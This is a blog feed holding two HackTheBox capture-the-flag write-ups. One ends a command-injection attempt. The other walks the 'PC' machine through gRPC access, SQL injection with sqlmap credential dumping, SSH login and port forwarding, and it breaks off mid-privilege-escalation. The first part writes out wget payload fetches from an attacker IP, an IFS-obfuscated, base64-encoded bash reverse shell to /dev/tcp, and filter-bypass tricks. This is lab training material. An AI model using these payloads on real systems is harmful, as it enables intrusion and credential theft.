<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698178492037/1231a659-aadd-419f-96b9-1f75e158583a.png" alt class="image--center mx-auto" /></p>
<p>Let's see if we can request our machine through that tampered request with the injected command :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698179300747/1acbf847-fc6e-4632-8798-e1903a53eb8f.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">wget 10.10.16.4:9001/revshell.sh
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698179200827/ed72071b-1157-419c-bea3-063382eb03a7.png" alt class="image--center mx-auto" /></p>
<p>We tried uploading the reverse shell script to the vulnerable machine but the app response says that the username value can't contain white space but our command wget has one. So need a way to bypass:</p>
<p>Well there's a solution to this: IFS</p>
<ul>
<li><p>Just know this much, IFS is a special variable in unix or unix-based OS ( Linux-ubuntu ). IFS by default has a value of space. We call this variable using ${IFS}.</p>
</li>
<li><p>So we can put this variable call in place of white space, the app will see that there's no space so we should be able to bypass the white space error and then when the request reaches the server, it will recognize this ${IFS} as a call to IFS variable which will end up interpreted as a space on the terminal and hence we will be able to execute the command hopefully:</p>
</li>
<li><pre><code class="lang-bash">        <span class="hljs-comment">#the injected command</span>
        $(wget<span class="hljs-variable">${IFS}</span>10.10.16.4:9001/revshells.sh)
</code></pre>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698179052743/f94c1e03-9ba9-47c0-98ce-6e0d036fa618.png" alt class="image--center mx-auto" /></p>
<p>Our local listener:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698179885838/2435c31e-356e-4875-8f96-2e284265b45f.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Good! we'er able to connect back from the remote vulnerable machine to our system.</p>
</li>
<li><p>We used wget command in the request containing the payload that's why it says User-Agent: wget.</p>
</li>
</ul>
<p>Let's now finally use this to get a reverse shell on the system.</p>
<p>But this time I'm using a Python simple server hosted on my system where revshell.sh script is at port 9001:</p>
<pre><code class="lang-bash">python3 -m http.server 9001
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698182240245/b21b4a77-251b-43bf-a0da-699e10b82889.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash"><span class="hljs-comment">#payload</span>
$(wget<span class="hljs-variable">${IFS}</span>-P<span class="hljs-variable">${IFS}</span>/tmp/revshell.sh<span class="hljs-variable">${IFS}</span>10.10.16.4:9001/revshell.sh)
</code></pre>
<ul>
<li>Every time I use ${IFS}, that means a space is there. So the actual command that will be executed on the remote vulnerable machine is:</li>
</ul>
<pre><code class="lang-bash">wget -P /tmp/revshell.sh 10.10.16.4:9001/revshell.sh
</code></pre>
<ul>
<li>So here we're fetching the revshell.sh script from our system and then move it to the /tmp directory with the same name revshell.sh</li>
</ul>
<p>As soon as we send this request we see a log at our python server with 200 status code, which means we're able to successfully upload the rev shell.sh script to the remote /tmp directory:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698182224316/695b14ce-224b-4627-89d3-dee7791a16a1.png" alt class="image--center mx-auto" /></p>
<p>Now We need to make it executable and then finally execute it.</p>
<pre><code class="lang-bash"><span class="hljs-comment">#chmod 755 /tmp/revshell.sh</span>
$(chmod<span class="hljs-variable">${IFS}</span>755<span class="hljs-variable">${IFS}</span>/tmp/revshell.sh
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698182645219/f618ce25-b722-4d18-9a44-9e5d29f1d57e.png" alt class="image--center mx-auto" /></p>
<p>Now to finally execute it, first, we'll listen on our system on 9001 using netcat:</p>
<pre><code class="lang-bash">nc -lvnp 9001
</code></pre>
<p>And inject the execution code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698183231273/3d2fb619-74b0-46d8-b898-7480152e0565.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It did not give me a shell ;(</li>
</ul>
<p><img src="https://media.giphy.com/media/xUA7bdFTWuMRGwn0vS/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-second-failed-attempt">Second Failed Attempt:</h2>
<hr />
<ol>
<li>First, the problem is that our payload can't contain whitespace as the app will end up throwing an error if we do:</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698054216904/4562de16-18ff-46d8-952c-3810e2176795.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>The second problem is the &amp; in our payload:</p>
<ul>
<li><p>&amp; in the request "host=test&amp;username=whatever" marks a new parameter, so if did send our payload as it is, the web app will break it in three different parameters which will ruin our payload:</p>
</li>
<li><pre><code class="lang-bash">            <span class="hljs-comment">#The actual payload: </span>
            bash -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1

            <span class="hljs-comment">#Web app's interpetation as 2 param.. becuase of &amp; in the payload:</span>
            bash -i <span class="hljs-comment">#1st parameter</span>
             /dev/tcp/10.10.16.4/9001 0&gt; <span class="hljs-comment">#2nd Parameter</span>
            1 <span class="hljs-comment">#3rd parameter</span>
</code></pre>
</li>
</ul>
</li>
</ol>
<p>Now we'll attempt bypassing this but before we start attempting to connect back to our system from the web app's server, we'll spin up a listener on our system:</p>
<pre><code class="lang-bash">nc -lvnp 9001 <span class="hljs-comment">#9001 is what my payload contains</span>
</code></pre>
<ol>
<li><p>The solution to Whitespace:</p>
<ul>
<li><p>Now for the first problem that is the "whitespace". We can use a simple solution such ${IFS} wherever there is a whitespace instead, we'll be able to bypass the web app's error.</p>
</li>
<li><p>IFS is a special shell variable in Unix or Unix-like Operating Systems ( Linux, which the server is - Ubuntu ). By default it has a value of a space, so we put this in place of a space to bypass this error of whitespace.</p>
</li>
</ul>
</li>
<li><p>The solution to &amp; in the payload:</p>
<ul>
<li><p>We can simply base64 encode the command and then send it instead of sending it in cleartext.</p>
</li>
<li><p>But to execute it on the machine's terminal, we'll need to decode it as well once it has bypassed the web app's filter and reached the terminal.</p>
</li>
<li><p>For encoding, we can use web web-based encoder or the burp's decoder.</p>
</li>
</ul>
</li>
</ol>
<p>So now we'll alter the payload while keeping these two solutions in mind:</p>
<p>First, let's encode the payload:</p>
<pre><code class="lang-bash"><span class="hljs-comment">#Before encoding:</span>
bash -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1
<span class="hljs-comment">#After encoding:</span>
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ==
</code></pre>
<p>Now we need to alter the command more so that the encoding gets decoded when it reaches the web app's terminal:</p>
<ul>
<li>For this, we can simply use the base64 CLI command:</li>
</ul>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ=="</span>|base64 -d|bash
</code></pre>
<p>But the payload has whitespaces, so alter it again, this time adding the shell variable ${iFS} in place of whitespace:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span><span class="hljs-variable">${IFS}</span><span class="hljs-string">"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ=="</span>|base64<span class="hljs-variable">${IFS}</span>-d|bash
</code></pre>
<pre><code class="lang-bash">username=;payload;<span class="hljs-comment">#comment</span>

<span class="hljs-comment"># as discussed before "Attempting to exploit" in "Understanding the command we'll be injecting"</span>
</code></pre>
<p>Following the above we get:</p>
<pre><code class="lang-bash">;<span class="hljs-built_in">echo</span><span class="hljs-variable">${IFS}</span><span class="hljs-string">"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ=="</span>|base64<span class="hljs-variable">${IFS}</span>-d|bash;<span class="hljs-comment">#</span>
</code></pre>
<ul>
<li>This should be the final payload that we'll place after the username parameter in the request.</li>
</ul>
<p>So let's try this payload:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698057690287/b7916c08-4da0-4f68-b052-5927389e21bc.png" alt class="image--center mx-auto" /></p>
<p>Unfortunately, this payload doesn't work. The web app is still giving a whitespace error.</p>
<p>Later I identified a few mistakes that I was making:</p>
<ul>
<li>One major mistake is that I was encoding the reverse shell payload in base64 with whitespaces, that's why it still gave an error that couldn't contain whitespaces.</li>
</ul>
<p>So I altered the payload again:</p>
<pre><code class="lang-bash">bash<span class="hljs-variable">${IFS}</span>-i<span class="hljs-variable">${IFS}</span>&gt;&amp;<span class="hljs-variable">${IFS}</span>/dev/tcp/10.10.16.4/9001<span class="hljs-variable">${IFS}</span>0&gt;&amp;1
<span class="hljs-comment">#base64 encode this</span>
YmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEke0lGU30wPiYx <span class="hljs-comment"># base64 encoded</span>
</code></pre>
<pre><code class="lang-bash">$(<span class="hljs-built_in">echo</span><span class="hljs-variable">${IFS}</span>YmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEke0lGU30wPiYx|base64<span class="hljs-variable">${IFS}</span>-d|bash)
</code></pre>
<ul>
<li>With this, I bypassed the whitespace error but still, this too did not give me the initial shell.</li>
</ul>
<p>Anyway, that's all for this one.</p>
<hr />
<h1 id="heading-peace-im-out-of-here-moonwalking">Peace! I'm out of here, moonwalking :)</h1>
<p><img src="https://media.giphy.com/media/FcdEfMJAw60cSFNGA9/giphy.gif" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[PC - HackTheBox Machine]]></title><description><![CDATA[This is one of the most beginner-friendly blog ever!! Or That's what the intention is :|

For better readability, turn the dark mode on ( available in the top right corner ):


Connect with Hack The Box using your OpenVPN file, then spawn the PC mach...]]></description><link>https://blog.redteamers.in/pc-hackthebox-machine</link><guid isPermaLink="true">https://blog.redteamers.in/pc-hackthebox-machine</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hack-the-box]]></category><category><![CDATA[CTF]]></category><category><![CDATA[hacking]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Wed, 18 Oct 2023 00:02:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745597263243/6bbdb883-7dca-4474-b535-87197abcfc57.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-this-is-one-of-the-most-beginner-friendly-blog-ever-or-thats-what-the-intention-is">This is one of the most beginner-friendly blog ever!! Or That's what the intention is :|</h3>
<hr />
<p>For better readability, turn the dark mode on ( available in the top right corner ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697695495242/f3e2b3d3-6029-4545-bd25-37dd87aa7a89.png" alt class="image--center mx-auto" /></p>
<hr />
<p>Connect with Hack The Box using your OpenVPN file, then spawn the PC machine.</p>
<p>Once it's spawned, ping its IP. Then you're good to go.</p>
<hr />
<h1 id="heading-mapping">Mapping</h1>
<hr />
<p>Let's start by running a simple Nmap scan:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697245089176/790c0481-8347-42cc-ba16-3cef353fc2e1.png" alt class="image--center mx-auto" /></p>
<p>Only SSH appears open, nmap's simple scan only scans for the first 1000 ports. So let's try something different.</p>
<p>Let's run it with a default script (-sC ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697245156742/35c5f956-b2fb-4c6b-9406-48dfff618d8f.png" alt class="image--center mx-auto" /></p>
<p>The scan too scanned only the first 1000 ports.<br />Okay, let's scan all the ports now, I didn't use timing template but you should use it to make your scan faster.</p>
<ul>
<li><p>The use of timing templates to make your scans fast is acceptable in environments like these ( HackTheBox, TryHackMe and stuff ) but don't do it on real web apps or take proper cautions as it's going to make your scan way too aggressive and loud.</p>
</li>
<li><p>Anyways, use either -T4 or -T5, the higher the number, the more aggressive and fast it's going to be.</p>
</li>
</ul>
<pre><code class="lang-bash">sudo nmap -p0-65535 10.10.11.214 -v -T4

<span class="hljs-comment"># Don't just copy the commands, understand them!!</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697245246184/d40471e0-7587-46b9-b377-686a23f61a25.png" alt class="image--center mx-auto" /></p>
<p>Now we've found one new port open in this scan. GOOD!!</p>
<p>If you search it, you'll see that this port is default for gRPC service.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697455011246/ff7ab15b-5dd2-4b57-8639-4f835165b381.png" alt class="image--center mx-auto" /></p>
<p>Source of the info: <a target="_blank" href="https://www.h3c.com/en/d_202207/1647892_294551_0.htm">follow the link here</a></p>
<p>But you can't directly just access this using IP:port ( socket ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697455203088/a72a46d5-fb73-487a-9590-49b24127b64c.png" alt class="image--center mx-auto" /></p>
<p>We need a special tool that supports it:</p>
<ul>
<li><p>two of which are:</p>
<ul>
<li><p>grpcui ( for ui ) and</p>
</li>
<li><p>grpcurl ( for command line )</p>
</li>
</ul>
</li>
</ul>
<p>We'll be using grpcui along with Burp Suite.</p>
<p>source: <a target="_blank" href="https://medium.com/@ibm_ptc_security/grpc-security-series-part-3-c92f3b687dd9">https://medium.com/@ibm_ptc_security/grpc-security-series-part-3-c92f3b687dd9</a></p>
<p>Go to grpcui's github repo:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697453488779/24d6865c-3ffb-4c18-93de-07473d0916b9.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">https://github.com/fullstorydev/grpcui
</code></pre>
<p>Follow the link below, and download the grpcui from "Assets" section of the page that suits your system:</p>
<pre><code class="lang-plaintext">https://github.com/fullstorydev/grpcui/releases
</code></pre>
<p>unzip it:</p>
<pre><code class="lang-bash">tar xvf grpcui_1.3.2_linux_x86_64.tar.gz
or 
unzip grpcui_1.3.2_linux_x86_64.zip
</code></pre>
<p>Then run the following command:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697453781902/4b2fbd8f-dbdb-489a-916a-53fcefc9fd58.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">./grpcui --plaintext 10.10.11.214:50051
</code></pre>
<p>As soon as you run this, the web form will open up in your browser, the one that has been mentioned in the GitHub screenshot that I attached above in the screenshot:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697453897588/023dba74-b91f-40f8-8f25-fc1a39890364.png" alt class="image--center mx-auto" /></p>
<p>So Grpcui is now running on our own machine at 127.0.0.1:37551, using which we are connected to the PC Machine on port 50051, the one that the Nmap found open but was unable to identify the service it is running. That now we do though, it's gRPC.</p>
<p>In Case you are curious to learn about gRPC in detail:</p>
<hr />
<h3 id="heading-optional-if-you-want-to-learn-about-grpc">Optional ( if you want to learn about gRPC ):</h3>
<ul>
<li><p>amazing explainer, <a target="_blank" href="https://www.youtube.com/watch?v=Yw4rkaTc0f8">long video</a></p>
</li>
<li><p>a <a target="_blank" href="https://youtu.be/XRXTsQwyZSU?si=f7GjH4JXE7aMepqu">short intro</a></p>
</li>
</ul>
<hr />
<h1 id="heading-understanding-the-flow-of-this-web-form-with-burp-suite">Understanding the flow of this Web Form ( with burp suite ) :</h1>
<hr />
<p>I have the web form open in my <strong>Burp Suite</strong> browser so that every request and response gets recorded in Proxy HTTP History.</p>
<p>This is helpful as I can visit all the requests and responses whenever I'd like and will be able to grab some information that might be useful for another function of the form.</p>
<p>Like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697470603719/8b49b68f-6ce9-43bd-862f-e31756c53707.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697470706324/b143d8bf-53fc-4788-8344-02de58b786ea.png" alt class="image--center mx-auto" /></p>
<p>Now if you look into the web UI:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697464190681/9944efc6-ba6c-4e34-a078-e4a3c6185f6f.png" alt class="image--center mx-auto" /></p>
<p>Here, you can do three operations; Login, Register a new user and get info.</p>
<p>We first will go on and register a new user.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697469927466/99aae68d-f9ff-4b50-8462-6ab4d406b7c7.png" alt class="image--center mx-auto" /></p>
<p>Response:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697469913163/57879341-79b1-4704-acae-fa1c25e5ea17.png" alt class="image--center mx-auto" /></p>
<p>Registered, now let's login:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697469991163/86bbce44-3e09-4dfc-ad6a-136657946760.png" alt class="image--center mx-auto" /></p>
<p>Response:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697470026197/3d9ea956-1089-42ee-bf45-6d8ee18f156e.png" alt class="image--center mx-auto" /></p>
<ul>
<li>We get a user id and a token for that user. This is what we can use to get info ( the third method in the Method name ) of the user:</li>
</ul>
<pre><code class="lang-bash">token: b<span class="hljs-string">'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYW5hbmQiLCJleHAiOjE2OTc0Nzk5Njh9.w5AVsW4Wp7Jy7UN_Fw-2N0GCGVBJ4JUHlNkjg2ZIqkI'</span>

id: 857
<span class="hljs-comment">#These are user specific, yours will be different so don't copy. Dah!!</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697470183921/3677898b-889a-4506-8e5e-84586d0a2294.png" alt class="image--center mx-auto" /></p>
<p>Response:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697470258813/f04c84fd-ae6d-43d2-bad5-b7c7e9384ff1.png" alt class="image--center mx-auto" /></p>
<ul>
<li>This would have been captured in the HTTP History of Burp, send this request to the repeater:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697471889982/ecf5c870-be80-45d3-a6bc-2391505a919d.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Keep burp open for now. We'll come back at it in a bit.</li>
</ul>
<hr />
<h1 id="heading-spotting-the-vulnerable-point">Spotting the Vulnerable Point:</h1>
<hr />
<p>We saw while walking through the Web Form, we saw we have a lot of points that the user directly interacts with, it's worth checking them all out one by one for any type of vulnerabilities.</p>
<p>The first thing that comes into our head is to input a command of sorts or a query to check if the form has input sanitization in place or not.</p>
<p>Second is that which point retrieves info from the backend. This one is pretty self-explanatory ( the getInfo method does ).</p>
<p>It turns out that, <code>id in getInfo</code> method name is vulnerable to SQLi ( SQL injection ).</p>
<p>Now, coming back to the Burp Suite's last request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697471986887/de90606c-e04b-4947-9561-f445d0552202.png" alt class="image--center mx-auto" /></p>
<p>So the vulnerable point in this is the id parameter in the body of the request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697472408463/3bab4d85-b15e-44e1-bce0-00c51c941cd1.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-exploitation">Exploitation:</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697473005789/3dbe870f-5305-4ab4-a38f-c1b930971d8f.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>We check the vulnerability's existence by putting a wrong id value ( 858, which doesn't exist ) and a condition that will be true always.</p>
</li>
<li><p>As we are using it with or operator, if any of the two values in id is correct, the response would fetch us stuff: ( that is if the point is vulnerable )</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697473191406/be009f6e-c1e7-4b67-84da-83964c5e8731.png" alt class="image--center mx-auto" /></p>
<p>Response:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697473269887/23a041e1-3361-45fd-a10a-1438aede8346.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It works. The response doesn't contain any error code. On top of that, the message " The admin is working hard to fix the issues. " confirms that our query was executed successfully. If not that, then there's definitely something juicy in here.</li>
</ul>
<hr />
<h3 id="heading-what-would-be-its-response-if-we-provide-just-a-wrong-id-and-no-or-11-condition">What would be its response if we provide just a wrong id and no "or 1=1" condition?</h3>
<ul>
<li>Let's see:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697473464863/65a433f3-c1c0-4608-a0d7-b4894462b088.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>The web Form doesn't respond in the same way, and on top of that, it throws an error code in the response as well.</p>
</li>
<li><p>That confirms that adding "or 1=1" did indeed make the web form behave differently.</p>
</li>
</ul>
<hr />
<p>Now let's use this discovered vulnerable point to dig out something sensitive.</p>
<p>But first, we need to find out which database service ( DBMS ) is being used in the backend, you may ask why..</p>
<ul>
<li>Different DBMSs have their own specific SQL syntax and behavior. By knowing which DBMS is being used (e.g., MySQL, SQLite etc), we can craft SQL injection payloads that are tailored to that specific system. This makes the exploitation more efficient and effective. And a few other reasons like avoiding false positives etc..</li>
</ul>
<p>SQLmap is one handy tool that can help find in finding this out quickly.</p>
<p>So let's just first save the request from Burp Suite in a file:</p>
<ul>
<li>put an asterisk ( * ) right after the value in id parameter - This lets sqlmap know, that this point is a test injection point.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697477677072/7708fa86-5083-422c-b965-521c9eb0ed5d.png" alt class="image--center mx-auto" /></p>
<ul>
<li>right-click the request and select save item..</li>
</ul>
<p>I named the file: getInfo-request.txt</p>
<p>Now I tried random dbms names while using sqlmap on this request file, and eventually one hit it successfully. I found the backend DBMS.</p>
<pre><code class="lang-bash">sqlmap -r getInfo-request.txt -p id --dbms=sqlite

<span class="hljs-comment"># -r = request, -p = parameter</span>
</code></pre>
<p>SQLMap Output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697478030865/4571aae4-734d-489f-8d09-7bfe61e91bbb.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-easy-exploitation-quick-way-out">Easy Exploitation ( quick way out ):</h3>
<p>We can continue using this sqlmap tool and actually dump the backend data just by adding the --dump switch.</p>
<pre><code class="lang-bash">sqlmap -r getInfo-request.txt -p id --dbms=sqlite --dump
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697478437745/5c698286-a1a9-4cfc-9f0c-a4c3e67c36ae.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+
</code></pre>
<p><img src="https://media.giphy.com/media/SvomFvu98QaVCSGECq/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-retrieving-user-flag">Retrieving User Flag:</h1>
<hr />
<p>Now we know that the ssh port is open, so let's try and login with ssh using the credential set that we have dumped.</p>
<p>Admin login seems to be restricted.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697479333705/727024cc-dc78-449c-b3f7-9bb7b54d2dcc.png" alt class="image--center mx-auto" /></p>
<p>Let's try the second set of credentials:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697479401580/cf02143d-f903-4f9e-9882-b5d3bd91a059.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-and-walah-were-in">And walah we're in!!</h3>
<p>Now let's get our user's flag, which should be straightforward.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697479487149/6f8489c4-d6e2-45c1-8d6f-e09059d05549.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-privilege-escalation">Privilege Escalation:</h1>
<hr />
<p>Let's run sudo -l.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697513883983/f41a50dd-ec05-4067-9121-542bb84616f8.png" alt class="image--center mx-auto" /></p>
<ul>
<li>The user can't run any root-level commands.</li>
</ul>
<p>While enumerating through the system, we found out that the pc machine is listening at 8000 and 9666. Let me explain this thoroughly but before I do that, you should have a basic idea about port forwarding.</p>
<p><code>If you don't already understand the concept of Port forwarding, here's a short and sweet</code> <a target="_blank" href="https://youtu.be/92b-jjBURkw?si=JxNWekohni5WP1Ar"><code>intro video</code></a><code>.</code></p>
<p>If we use the command netstat ( network statics ), is used for network connections and network statistics and helps in troubleshooting network problems.</p>
<p>Let's run a vanilla netstat command:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697536123008/f9683fe0-2a22-4ba7-a471-28ad42d9f5c6.png" alt class="image--center mx-auto" /></p>
<ul>
<li>See, it lists the connection that we have established with this PC machine. SSH and the gRPC Web Form that we used earlier to dump the sau user's password.</li>
</ul>
<p>Anyways, moving on to the command that will list the extra listening ports that our nmap scan didn't identify:</p>
<pre><code class="lang-bash">netstat -tuln

<span class="hljs-comment"># -t = shows TCP connections</span>
<span class="hljs-comment"># -u = shows UDP connections</span>
<span class="hljs-comment"># -l = shows listening sockets only</span>
<span class="hljs-comment"># -n = shows numbererical ( IP address and ports ) instead of resolving hostname</span>
</code></pre>
<hr />
<p>Alternatively, you can use the ss command as well to list local listening ports and IP:</p>
<pre><code class="lang-bash">ss -tlpn
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697560839204/bb297e17-7bcd-4e84-b407-7af9e1b07c9e.png" alt class="image--center mx-auto" /></p>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697537053191/2927519e-3ea0-422c-8c33-26aad10facd5.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-note"><strong>NOTE:</strong></h3>
<p>In the output, we typically see the state of TCP ports (such as "LISTENING") but no state for UDP ports. This is because UDP is a connectionless protocol, and it doesn't have the same concept of connection states as TCP. A very well-known networking concept.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697545240341/04182ea7-97b8-4f80-9939-3a01f9b51fee.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">sau@pc:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State    
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN   
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN   
tcp6       0      0 :::50051                :::*                    LISTEN   
tcp6       0      0 :::22                   :::*                    LISTEN   
udp        0      0 127.0.0.53:53           0.0.0.0:*                        
udp        0      0 0.0.0.0:68              0.0.0.0:*
</code></pre>
<p>We see quite a few ports ( <code>8 ports in number</code> ) that the PC machine is listening at:</p>
<ul>
<li><p>The ones that Nmap was able to identify as well: 22 - one TCP port and one TCP6 port ( SSH ) and 50051 ( gRPC ) - <code>3 ports</code></p>
</li>
<li><p>Then there are the ports that are very common to see in use: 53 - TCP port and UDP port ( DNS - Domain Name System; for IP to Domain name and reverse mapping ) and UDP 68 port ( DHCP - Dynamic Host Configuration Protocol - for ip assignment to a client connecting to internet using DHCP server ) - <code>3 ports</code></p>
</li>
<li><p>Now the ones that we didn't know about: - <code>2 ports</code></p>
<ul>
<li><p>8000 listening locally on localhost IP ( 127.0.0.1 )</p>
</li>
<li><p>9666 listening on all interfaces ( 0.0.0.0 )</p>
</li>
</ul>
</li>
</ul>
<p>We'll now be setting up port forwarding. We'll make our machine ( attacker ) listen on a port and connect ( bind ) that port with the remote compromised machine's ( PC ) socket. We're going to do this for both the ports that we found running locally on the compromised machine:</p>
<pre><code class="lang-bash">ssh -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.10.11.214
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697568514422/12a3f6cf-815c-48fd-8e69-f859095f5178.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Ignore the errors, as these ports came in use after this command was executed.</li>
</ul>
<p>This command is setting up two port forwarding using SSH:</p>
<ul>
<li><p>First, the local 8000 port ( attacker's machine ) binds to the compromised system's socket ( 127.0.0.1:8000 ).</p>
</li>
<li><p>Second, the local port 9666 binds to the compromised machine's socket ( 127.0.0.1:9666 )</p>
</li>
</ul>
<p>Now to check if our system ( attacker's ) is configured correctly for port forwarding:</p>
<pre><code class="lang-bash">sudo lsof -i :8000
<span class="hljs-comment"># sudo lsof -i :9666 for the second port</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697568909250/a47d247e-a2f5-4fbf-99c8-828009ecb122.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697568961212/07964b80-c4d2-4445-985a-6fe95167a54c.png" alt class="image--center mx-auto" /></p>
<ul>
<li>We see that our port forwarding has been set up correctly.</li>
</ul>
<p>Now as we've set port forwarding, when we type localhost:8000 in our machine, it should direct us to the remote system's socket instead and hence should be able to see whatever service it's running there.</p>
<p>So let's do that.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697569166305/18f16749-288b-48e9-b6b1-338e5f524d53.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>This is what we are presented at localhost:8000 .</p>
</li>
<li><p>I tried accessing localhost:9666, but it gave a 408 error.</p>
</li>
</ul>
<p>Let's see what is the privilege that this pyLoad service on the remote system is running with:</p>
<pre><code class="lang-bash">ps aux | grep pyload
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697574328470/be8513a2-9875-48a3-b5b7-07a07401b36c.png" alt class="image--center mx-auto" /></p>
<ul>
